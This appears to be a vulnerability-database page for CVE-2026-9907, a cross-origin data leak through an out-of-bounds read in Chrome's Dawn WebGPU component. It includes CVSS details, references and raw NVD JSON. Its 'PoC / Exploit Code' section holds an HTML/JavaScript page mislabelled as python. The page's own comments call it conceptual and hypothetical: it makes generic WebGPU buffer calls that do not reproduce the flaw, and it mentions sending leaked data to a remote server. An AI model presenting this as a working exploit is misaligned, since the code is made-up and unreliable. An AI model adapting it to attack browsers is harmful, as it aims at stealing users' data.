CVE-2026-9907

Description

Out of bounds read in Dawn in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Windows < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Conceptual PoC for CVE-2026-9907 (Out-of-bounds read in Dawn)
  This PoC demonstrates how a crafted HTML page might trigger the vulnerability
  via WebGPU API to leak cross-origin data.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9907 PoC</title>
</head>
<body>
    <h1>Testing Chrome Dawn OOB Read</h1>
    <script>
        async function triggerVulnerability() {
            // Check if WebGPU is supported
            if (!navigator.gpu) {
                console.log("WebGPU not supported.");
                return;
            }

            const adapter = await navigator.gpu.requestAdapter();
            const device = await adapter.requestDevice();

            try {
                // Create a buffer with specific size to trigger memory layout issues
                const buffer = device.createBuffer({
                    size: 1024,
                    usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ
                });

                // Simulate a crafted shader or command that triggers OOB read
                // In a real exploit, this would involve specific WGSL code causing
                // the Dawn component to read past the buffer bounds.
                const commandEncoder = device.createCommandEncoder();
                
                // Hypothetical malicious copy operation
                // This would normally be safe, but due to the bug, specific flags 
                // or sizes trigger the OOB read in Dawn.
                commandEncoder.copyBufferToBuffer(buffer, 0, buffer, 1000, 100); 
                
                device.submit([commandEncoder.finish()]);

                // Attempt to map the buffer to read leaked data
                await buffer.mapAsync(GPUMapMode.READ);
                const data = new Uint8Array(buffer.getMappedRange());
                
                console.log("Potentially leaked data:", data);
                // In a real attack, this data would be exfiltrated to a remote server.

            } catch (error) {
                console.error("Exploit failed or triggered safety check:", error);
            }
        }

        triggerVulnerability();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9907
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9907
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9907/
[4] VulDB https://vuldb.com/cve/CVE-2026-9907
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/499091269

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9907", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:48.767", "lastModified": "2026-05-29T18:17:14.010", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in Dawn in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/499091269", "source": "[email protected]"}]}}